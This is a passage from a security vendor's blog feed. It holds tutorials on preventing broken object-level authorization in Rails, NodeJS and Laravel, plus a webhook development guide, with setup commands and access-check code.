nature. And thus you could forgive the use of simpler, more lenient approaches. However, I would argue that this vulnerability is, in fact, representative of a fundamental gap in the infrastructure and design of any system, and accepting the gap as a feature is shortsighted and dangerous.&amp;quot;&lt;/p&gt;&lt;h2&gt;Mitigating Broken Object-Level Authorization Vulnerabilities&lt;/h2&gt;&lt;p&gt;OK, so how do we address these vulnerabilities, then?&lt;/p&gt;&lt;p&gt;The good news is that the mitigation strategy is simple. However, eradicating the threat might prove quite challenging, depending on the scale of your platform.&lt;/p&gt;&lt;p&gt;First, make sure you have implemented a robust and battle-tested authentication and authorization framework like&lt;a href=&quot;https://github.com/heartcombo/devise&quot;&gt; &lt;u&gt;Devise&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;To install Devise, all you have to do is add the gem on your Gemfile.&lt;/p&gt;&lt;p&gt;&lt;code&gt;gem &amp;#39;devise&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve done this, you need to run the &lt;b&gt;bundle install&lt;/b&gt; command to install the gem dependency in your project.&lt;/p&gt;&lt;p&gt;&lt;code&gt;bundle install&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, run the following command to generate the default resources the gem needs on your project.&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ rails generate devise:install&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, add the following configuration in your &lt;b&gt;config&lt;/b&gt; file to set up the emailing settings for user authentication and confirmation.&lt;/p&gt;&lt;p&gt;&lt;code&gt;config.action_mailer.default_url_options = { host: &amp;#39;localhost&amp;#39;, port: 3000 }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;After doing this, run the following command to generate or update the models representing the users in your project. In this case, you can replace MODEL for whatever model name you&amp;#39;re using for your users.&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ rails generate devise MODEL&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, run the migration command to update the database to reflect the revised model structure.&lt;/p&gt;&lt;p&gt;&lt;code&gt;rails db:migrate&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;All you need to do now is add the following line on the controllers you want to enforce authentication on.&lt;/p&gt;&lt;p&gt;&lt;code&gt;before_action :authenticate_user!&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;There are a few more steps that you might need to follow to have your application protected with Devise. Please visit the &lt;b&gt;devise&lt;/b&gt; official GitHub page&lt;a href=&quot;https://github.com/heartcombo/devise&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt; for more information.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s see how we can implement the mitigation strategies in our project.&lt;/p&gt;&lt;h3&gt;Vulnerable User ID Endpoints&lt;/h3&gt;&lt;p&gt;To address this vulnerability, ensure that the user ID in the &lt;b&gt;session&lt;/b&gt; object, which resides in &lt;b&gt;current_user.id&lt;/b&gt;, matches the user-provided value. If there is no match, then deny access and redirect the user. That&amp;#39;s it.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to note that the implementation of this solution could get a bit more complex as you start introducing user roles and hierarchy. However, Devise provides excellent documentation and examples of doing just that on their extensive developer resources.&lt;/p&gt;&lt;h3&gt;Vulnerable Object ID Endpoints&lt;/h3&gt;&lt;p&gt;Now, this vulnerability might require a bit more work to address, given that multiple users might have access to resources, and there&amp;#39;s an inherent complexity level in user hierarchy involved. However, the logic to address this issue is still the same.&lt;/p&gt;&lt;p&gt;Once you have identified a vulnerable endpoint, you can confirm that the user has access to this object by including it in the query string that retrieves it.&lt;/p&gt;&lt;p&gt;One example would be the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Statements.where({ id: params[:id], user_id: current_user.id })&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This example assumes that the Statements table has a user_id column or that the Statements model has already defined the table relationship with it properly.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;Unfortunately, rails broken object-level authorization vulnerabilities exist mainly due to poor implementation of authorization mechanisms and human error. Additionally, many development teams consider that some endpoints don&amp;#39;t need strict authorization mechanisms. This is because they lack sensitive data in use. Given that the web comprises APIs that handle sensitive and non-sensitive data, it is easy to assume that some requests should have authorization checks and others shouldn&amp;#39;t; therefore, it&amp;#39;s easy to dismiss a check when writing your code.&lt;/p&gt;&lt;p&gt;Nevertheless, keep in mind that it is your responsibility to protect the data of your users by providing robust and secure platforms.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Keeping our systems secured and robust can be challenging when facing so many threats on a daily basis. One such threat, called broken object-level authorization, was referred to as the number one threat APIs worldwide face today by the OWASP security organization. &lt;/p&gt;&lt;p&gt;This article aims to give you the knowledge and expertise necessary to mitigate this threat. To achieve that, we will be examining what broken object-level authorization is, how attackers abuse these vulnerabilities, and what we can do about it. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll start by defining broken object-level authorization. Then, we will provide examples of the two types of broken object-level authorization attacks. And lastly, we will provide you with mitigation strategies against this threat so you can successfully protect your platforms. &lt;/p&gt;&lt;p&gt;By the end of this article, you&amp;#39;ll be able to spot broken object-level authorization vulnerabilities and have the tools and knowledge to handle them. &lt;/p&gt;&lt;p&gt;&lt;b&gt;NOTE:&lt;/b&gt; This article is aimed at NodeJS and Javascript developers. If you have no experience working with NodeJS or Javascript, you might struggle to get value from this article. &lt;/p&gt;&lt;h2&gt;NodeJS Broken Object-Level Authorization&lt;/h2&gt;&lt;p&gt;As described by the OWASP in their &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/&quot;&gt;&lt;u&gt;2023 report on API security&lt;/u&gt;&lt;/a&gt;&lt;u&gt;:&lt;/u&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;quot;Attackers can exploit API endpoints that are vulnerable to Broken Object Level Authorization by manipulating the ID of an object that is sent within the request. This may lead to unauthorized access to sensitive data. This issue is extremely common in API-based applications because the server component usually does not fully track the client&amp;#39;s state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access.&amp;quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now, that is a handful. Don&amp;#39;t worry if you can&amp;#39;t fully grasp it yet. We will go through the basics to expand on their information. &lt;/p&gt;&lt;p&gt;However, we must understand what authorization is and its nuance before addressing the question. &lt;/p&gt;&lt;p&gt;As we have previously explained in our &lt;a href=&quot;https://www.stackhawk.com/blog/rails-broken-object-level-authorization-guide-examples-and-prevention/&quot;&gt;Rails article&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;quot;In the context of software security, authorization is the mechanism that provides or denies access to resources in a system. Its main job is to ensure that only the people and services authorized to access these resources (data mainly) can do so. This means that without a proper and robust authorization mechanism, all data in a system is at high risk of falling into the wrong hands.&amp;quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Briefly, authorization systems are the policy enforcement mechanism for your application. They provide the infrastructure to maintain trust in the security of your system and its data. &lt;/p&gt;&lt;h3&gt;What Is Broken Object-Level Authorization?&lt;/h3&gt;&lt;p&gt;Translating what the OWASP report stated, now we can summarize that broken object-level authorization, or BOLA, is a specific attack that targets weak or poorly implemented authorization mechanisms. &lt;/p&gt;&lt;p&gt;This attack exploits endpoints that allow user input to retrieve objects (data) without proper user authorization validation. &lt;/p&gt;&lt;p&gt;Basically, a bad actor can target your application whenever it doesn&amp;#39;t correctly validate that the user requesting a resource has access to it. &lt;/p&gt;&lt;h2&gt;Examples of NodeJS Broken Object-Level Authorization&lt;/h2&gt;&lt;p&gt;Since we now understand the theory behind BOLA attacks, let&amp;#39;s see some examples. There are two types of BOLA attacks that comprise the vast majority of threats: &lt;/p&gt;&lt;h3&gt;Attacks That Target Endpoints That Use User ID&lt;/h3&gt;&lt;p&gt;In this attack, the attacker focuses on endpoints that receive a form of user ID to retrieve resources. The vulnerable API endpoint will receive the provided user ID and try to access the user object. &lt;/p&gt;&lt;p&gt;One example of an attack would be something as simple as the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Of course, this kind of vulnerability is a massive oversight in terms of security. That&amp;#39;s why it is imperative to keep an eye on these gaps in security at the development stage. &lt;/p&gt;&lt;h3&gt;Attacks That Target Endpoints That Use Object ID&lt;/h3&gt;&lt;p&gt;This attack also targets endpoints that receive user input to retrieve resources. However, in this case, the input is the object ID itself. The vulnerable API endpoint receives an object ID provided by an authenticated user and tries to access it. &lt;/p&gt;&lt;p&gt;A good example of this attack would be the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Although convenient and easy to implement, you should avoid this kind of practice at all costs, given the potential for exploitation. &lt;/p&gt;&lt;p&gt;Some could reason that there are particular circumstances where data is not sensitive, and you could forgive the use of more simple, lenient methods. However, I would argue that this vulnerability is, in fact, representative of a fundamental gap in the infrastructure and design of any system, and accepting the gap as a feature is shortsighted and dangerous. &lt;/p&gt;&lt;h2&gt;Addressing NodeJS Broken Object-Level Authorization&lt;/h2&gt;&lt;p&gt;As grim and scary as all this might seem, I have some good news. The mitigation strategies to address these vulnerabilities are pretty simple. However, depending on the scale of your platform, you might need to do a lot of testing. &lt;/p&gt;&lt;p&gt;For brevity&amp;#39;s sake, we will provide a simple session-based method to provide an authorization mechanism in NodeJS, but keep in mind that you can use more robust solutions like &lt;b&gt;passport&lt;/b&gt; and &lt;b&gt;Auth0&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;If you already have an authentication mechanism, you can skip until the last step of this section. &lt;/p&gt;&lt;p&gt;First, make sure you have installed the following packages: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install express express-session mongoose connect-mongo&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We will use &lt;b&gt;express-session&lt;/b&gt; to handle the session creation and &lt;b&gt;MongoDB&lt;/b&gt; to store the session in the database. &lt;/p&gt;&lt;p&gt;Next, modify your application code to include the libraries just loaded. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then, proceed to add a route with the login form if you don&amp;#39;t already have one. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, add a middleware that will add the session data to the request header and retrieve it on every request for validation purposes. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now that we have a way to identify the user, let&amp;#39;s implement some mitigation strategies in our project. &lt;/p&gt;&lt;h3&gt;Vulnerable User ID Endpoints&lt;/h3&gt;&lt;p&gt;To address this vulnerability, ensure that the user ID in the &lt;b&gt;session&lt;/b&gt; object, which resides in &lt;b&gt;req.session.userId&lt;/b&gt;, matches the user-provided value. If there is no match, then deny access and redirect the user. That&amp;#39;s it. &lt;/p&gt;&lt;h3&gt;Vulnerable Object ID Endpoints&lt;/h3&gt;&lt;p&gt;Addressing this vulnerability works similarly. You need to confirm that the user has access to this object by including it in the query string that retrieves it. &lt;/p&gt;&lt;p&gt;One example would be the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Moving Forward&lt;/h2&gt;&lt;p&gt;One of the main reasons that broken object-level authorization vulnerabilities are so rampant and ubiquitous is poor authorization mechanisms and human oversights. &lt;/p&gt;&lt;p&gt;However, it is essential to remember that you are responsible for protecting your user data and implementing robust solutions available. &lt;/p&gt;&lt;p&gt;We recommend you consider using our dynamic application security testing (DAST) at StackHawk. &lt;/p&gt;&lt;p&gt;DAST runs security tests against a running application in real time, finding vulnerabilities your team introduced and exploitable open source vulnerabilities like broken object-level authorization. &lt;/p&gt;&lt;p&gt;You can learn more about it &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Developing with Webhooks]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/developing-with-webhooks</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Brandon Ward]]></dc:creator><content:encoded>&lt;p&gt;A webhook, or event driven web callback, can best be described as a “Reverse API”, meaning that an external third party will provide the API specification / contract, but it is up to you, the consumer, to implement this API.  You have probably come across webhooks in action, even without knowing it! If your organization automatically triggers source code builds from commits, chances are your source control is alerting your build system via a webhook!  Did you know that &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/webhook.html&quot;&gt;&lt;u&gt;StackHawk also provides a webhook&lt;/u&gt;&lt;/a&gt;? It can programmatically keep you informed on all of your completed scans. &lt;/p&gt;&lt;h2&gt;Tools&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The webhook provider - this can be a third party such as GitHub, Jenkins, or StackHawk. For this post, we’ll be using StackHawk’s webhook.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ngrok.com/&quot;&gt;&lt;u&gt;ngrok&lt;/u&gt;&lt;/a&gt; - a networking tool to allow making your local API publicly accessible.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;(optional) &lt;a href=&quot;https://nodejs.org/&quot;&gt;&lt;u&gt;node&lt;/u&gt;&lt;/a&gt; - if you aren’t developing your own application (yet), you can use the provided and simple &lt;code&gt;echo.js&lt;/code&gt; script which will print out all inbound network requests.  Feel free to use your own application framework and API as well!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;(Optional) Run the sample application&lt;/h2&gt;&lt;p&gt;If you haven’t started writing your own application yet, you can run this simple node js application (in the linked gist) that simply logs all requests.  This simple node js application is also useful if you want to inspect the requests being sent by your webhook provider!(save as &lt;code&gt;echo.js&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/Bwvolleyball/c6315f3a744d2e3f52fece0cfd121dca&quot;&gt;&lt;u&gt;https://gist.github.com/Bwvolleyball/c6315f3a744d2e3f52fece0cfd121dca&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;After you’ve saved this file, you can run it locally with this command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SERVER_PORT=8080 node echo.js&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Start ngrok&lt;/h2&gt;&lt;p&gt;Next, you’ll want to start ngrok.  After you’ve followed ngrok’s configuration instructions, just run &lt;code&gt;ngrok http 8080&lt;/code&gt; (or whatever port your application is running on locally).&lt;/p&gt;&lt;p&gt;You’ll notice that this command details a few forwarding entries, we’re most interested in the &lt;code&gt;https&lt;/code&gt; URL it creates for us, as many webhook providers (StackHawk included) require an SSL secured connection.&lt;/p&gt;&lt;h2&gt;Configure Webhook Details&lt;/h2&gt;&lt;p&gt;If you are following along with StackHawk, you’ll provide this URL to the StackHawk webhook configuration (or another webhook provider such as GitHub).&lt;/p&gt;&lt;p&gt;If you are using the supplied &lt;code&gt;echo.js&lt;/code&gt; script, the values for authorization can be anything you’d like, or nothing at all. If you’re developing your own application, this value should be equivalent to how you expect StackHawk to authenticate with you.&lt;/p&gt;&lt;h2&gt;Activate the Webhook!&lt;/h2&gt;&lt;p&gt;Perform an operation that causes a webhook event!&lt;/p&gt;&lt;p&gt;The StackHawk webhook emits an event with each successful scan.  Check out our docs to &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html&quot;&gt;&lt;u&gt;run your own scan&lt;/u&gt;&lt;/a&gt;, scan one of our &lt;a href=&quot;https://github.com/kaakaww&quot;&gt;&lt;u&gt;sample applications&lt;/u&gt;&lt;/a&gt;, or read more about our &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/webhook.html&quot;&gt;&lt;u&gt;webhook&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;If you’re using something else like GitHub, push a commit to your repository!&lt;/p&gt;&lt;p&gt;If you are running the example node js application, you’ll see that it has logged the request from your webhook event.&lt;/p&gt;&lt;p&gt;And that’s it! Now you have all the tools you need to start quickly developing with webhooks!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Broken object level authorization (BOLA) is a common website vulnerability. It happens when a web application or API fails to check user entitlements properly. As a result, attackers can access sensitive website data with little or no website permissions, leading to serious security breaches. All web developers need to be aware of BOLA and how to prevent it. &lt;/p&gt;&lt;p&gt;This article will look at examples of broken object level authorization (BOLA) problems in Laravel applications and how you can fix and prevent them. &lt;/p&gt;&lt;h2&gt;Broken Object Level Authorization&lt;/h2&gt;&lt;p&gt;When object level authorization works, it checks a user&amp;#39;s entitlements before allowing them to access information. We call it &amp;quot;object-level&amp;quot; because applications have to perform this kind of authorization on individual objects, as clients request them. &lt;/p&gt;&lt;p&gt;Responsibility for object level authorization falls to application code. Third-party services and libraries work for authentication, and they may be able to provide applications with information about users after identifying them. But applications need to verify access to specific objects. &lt;/p&gt;&lt;p&gt;Therefore, BOLA is when an application doesn&amp;#39;t verify access or fails to do it properly. This means that users can read, delete, create, or update data they shouldn&amp;#39;t be allowed to. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;BOLA problems are &lt;b&gt;easy to exploit. &lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Many attacks are waged with a simple shell script, so attackers take advantage of as soon as they&amp;#39;re detected. Also, because of the nature of the issues, it&amp;#39;s easy to steal large amounts of data. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at an example to see why. &lt;/p&gt;&lt;h2&gt;Broken Object Level Authorization in a REST API&lt;/h2&gt;&lt;h3&gt;A Simple API&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s design a REST API for managing comic books. &lt;/p&gt;&lt;p&gt;The API represents Comics with JSON objects that look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
  &amp;quot;id&amp;quot;:&amp;quot;1&amp;quot;,
  &amp;quot;publisher&amp;quot;: &amp;quot;DC Comics&amp;quot;,
  &amp;quot;title&amp;quot;:&amp;quot;Action Comics&amp;quot;,
  &amp;quot;issue&amp;quot;:&amp;quot;100&amp;quot;,
  &amp;quot;price&amp;quot;: &amp;quot;$10000&amp;quot;
  &amp;quot;count&amp;quot;: &amp;quot;10&amp;quot;,  
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The API has endpoints for managing comic book records. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;POST&lt;/b&gt; /comics/ with a JSON record to add a new comic to inventory.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET&lt;/b&gt; /comics/{ID} to retrieve a book by Id.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET&lt;/b&gt; /comics/ with no argument retrieves a list of all comics&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PUT&lt;/b&gt; /comics/{ID} with a JSON record updates an existing comic with new information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DELETE&lt;/b&gt; /comics/{ID} deletes a comic&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;The BOLA Problem&lt;/h3&gt;&lt;p&gt;In a typical inventory system, different users have different levels of access. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Store managers can add new comics, change their inventory level, and delete comics from the database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Salespeople can retrieve books and adjust inventory levels when they sell a book.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Customers can retrieve information about comics.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you know a comic book&amp;#39;s Id, you can retrieve, update, or delete it. If you know to call /comics/ with a GET and no arguments, you get a list of all of the comics in inventory, with their Ids. This might not seem like a big problem, but imagine if this vulnerability existed in a user database. &lt;/p&gt;&lt;p&gt;With this API design, the responsibility for verifying user entitlements falls on the application. It&amp;#39;s not good enough to check that a user has a valid session. The application needs to verify the user&amp;#39;s name against a list of entitlements.&lt;/p&gt;&lt;h2&gt;Laravel Broken Object Level Authorization&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at BOLA in Laravel. We&amp;#39;ll use an application that implements the API described above. &lt;/p&gt;&lt;h3&gt;A Simple Laravel Rest API&lt;/h3&gt;&lt;p&gt;Laravel makes building a CRUD API very straightforward. &lt;/p&gt;&lt;p&gt;Since we&amp;#39;re using MySQL as the backend for storing comics, the model code couldn&amp;#39;t be simpler. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;namespace App\Models;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;class Comic extends Model
{
    use HasFactory;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Laravel makes basic authentication easy, too. By wrapping the calls to the controller with calls to &lt;a href=&quot;https://laravel.com/docs/9.x/sanctum#protecting-routes&quot;&gt;&lt;u&gt;Sanctum&lt;/u&gt;&lt;/a&gt;, it&amp;#39;s easy to ensure that no one accesses the API without a valid session. &lt;/p&gt;&lt;p&gt;So, our routing entries for the comics API use the Sanctum middleware. Meanwhile, the &lt;b&gt;login&lt;/b&gt; and &lt;b&gt;register &lt;/b&gt;routes so you can use them to create sessions. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The comics controller uses the model to retrieve, update, create, and delete items in MySQL. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, we need a controller for creating new users and logging them in. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Testing the Service&lt;/h3&gt;&lt;p&gt;So, let&amp;#39;s take the new service for a spin. &lt;/p&gt;&lt;p&gt;A new user wants to buy some comics via the web. They try to list a comic via the API. &lt;/p&gt;&lt;p&gt;The GUI shouldn&amp;#39;t let you get to this point, but since the API blocks unauthorized requests, no harm done. &lt;/p&gt;&lt;p&gt;This simple service is returning an Internal Server Error because we haven&amp;#39;t wired all the proper statuses together yet. In production, you&amp;#39;d get a 401 instead of 500. &lt;/p&gt;&lt;p&gt;So, our new customer gets on the right path and creates a new login. &lt;/p&gt;&lt;p&gt;Now they have a login and a token, so they can look at comics! &lt;/p&gt;&lt;p&gt;The simple authorization we set up expects the token to be returned as a &lt;b&gt;Bearer Token&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Success!&lt;/p&gt;&lt;p&gt;In a shopping app listing all items isn&amp;#39;t an issue, especially of the API knows how to implement pagination to keep from blowing up your UI. But in an application that manages user data, this would be a problem. &lt;/p&gt;&lt;p&gt;Anyway, that Hulk comic looks expensive, and the title&amp;#39;s wrong, too! Let&amp;#39;s fix that. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the update to the record: &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the &lt;b&gt;PUT &lt;/b&gt;request. We&amp;#39;re going to try to update a comic using a customer&amp;#39;s bearer token. &lt;/p&gt;&lt;p&gt;The request succeeded. The server returned a 200 and echoed back the new value to us. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s double-check. &lt;/p&gt;&lt;p&gt;Uh-oh. We changed the inventory using a client&amp;#39;s credentials. That&amp;#39;s broken object level authorization. &lt;/p&gt;&lt;h3&gt;Fixing Laravel BOLA&lt;/h3&gt;&lt;p&gt;So how do we fix this? &lt;/p&gt;&lt;p&gt;We need to verify that users are entitled to make a request, not just that they have a valid session. &lt;/p&gt;&lt;p&gt;Laravel makes this easy. When Sanctum verifies the bearer token, it adds the user information to the &lt;b&gt;auth&lt;/b&gt; object that&amp;#39;s associated with the request. So, we can check the user name before processing the request. It&amp;#39;s stored in &lt;b&gt;auth(&amp;#39;sanctum&amp;#39;)-&amp;gt;user().&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Let&amp;#39;s allow the sales to update comics so they can adjust the quantity when they sell one, and we&amp;#39;ll allow the boss because they&amp;#39;re the boss. If the user isn&amp;#39;t one of these people, we&amp;#39;ll return a 401. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s test this with the new user&amp;#39;s bearer token. &lt;/p&gt;&lt;p&gt;We got a 401 (Unauthorized) status back. It works! &lt;/p&gt;&lt;p&gt;Hardcoding values like user names is never a good idea. Ideally, we&amp;#39;d add this to the database schema, but we can add it to the configuration file for now. &lt;/p&gt;&lt;p&gt;So, let&amp;#39;s add two arrays to the application configuration in &lt;b&gt;config/app.php&lt;/b&gt;: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;#39;administrators&amp;#39; =&amp;gt; [&amp;#39;theboss&amp;#39;],
&amp;#39;sales&amp;#39; =&amp;gt; [&amp;#39;sales&amp;#39;],&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now we can have more than one administrator or sales account. &lt;/p&gt;&lt;p&gt;Next, update the check to use the configuration values: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Before updating an item, the function checks the user name against both arrays. It only allows the request to pass if the requestor is a member of &lt;b&gt;administrator&lt;/b&gt; or &lt;b&gt;sales.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;We can restrict deleting items to administrator now, too: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So, this app has simple object level authorization now. A better solution might ut the access levels in MySQL and maybe even return them as part of the Sanctum information. But, the major security hole is fixed, and the entitled users aren&amp;#39;t hardcoded. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Wrapping up&lt;/h2&gt;&lt;p&gt;We started by looking at broken object level authorization and how users can exploit it to steal or alter information they shouldn&amp;#39;t have be able to. Then, we moved on to Laravel broken object authorization in a simple REST API. We saw how the vulnerability looks and applied a simple fix. &lt;/p&gt;&lt;p&gt;Now that you know how to address BOLA, you can build safer and better applications. But if you want to upgrade your security skills, StackHawk has the tools you need. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up for a free account&lt;/u&gt;&lt;/a&gt; and see how! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lua CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/lua-csrf-protection-guide-examples-and-how-to-enable</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;It&amp;#39;s hard to imagine the world without the web. It was a world where we had to conduct most of our business in person! It was a world where we had to mail checks to pay our bills and visit banks to deposit and withdraw money. Now we can do almost everything online, and sending a check seems unthinkable when we simply pay a bill or complete a purchase with a tap on a screen or click a mouse. &lt;/p&gt;&lt;p&gt;But that convenience doesn&amp;#39;t come without significant risk. 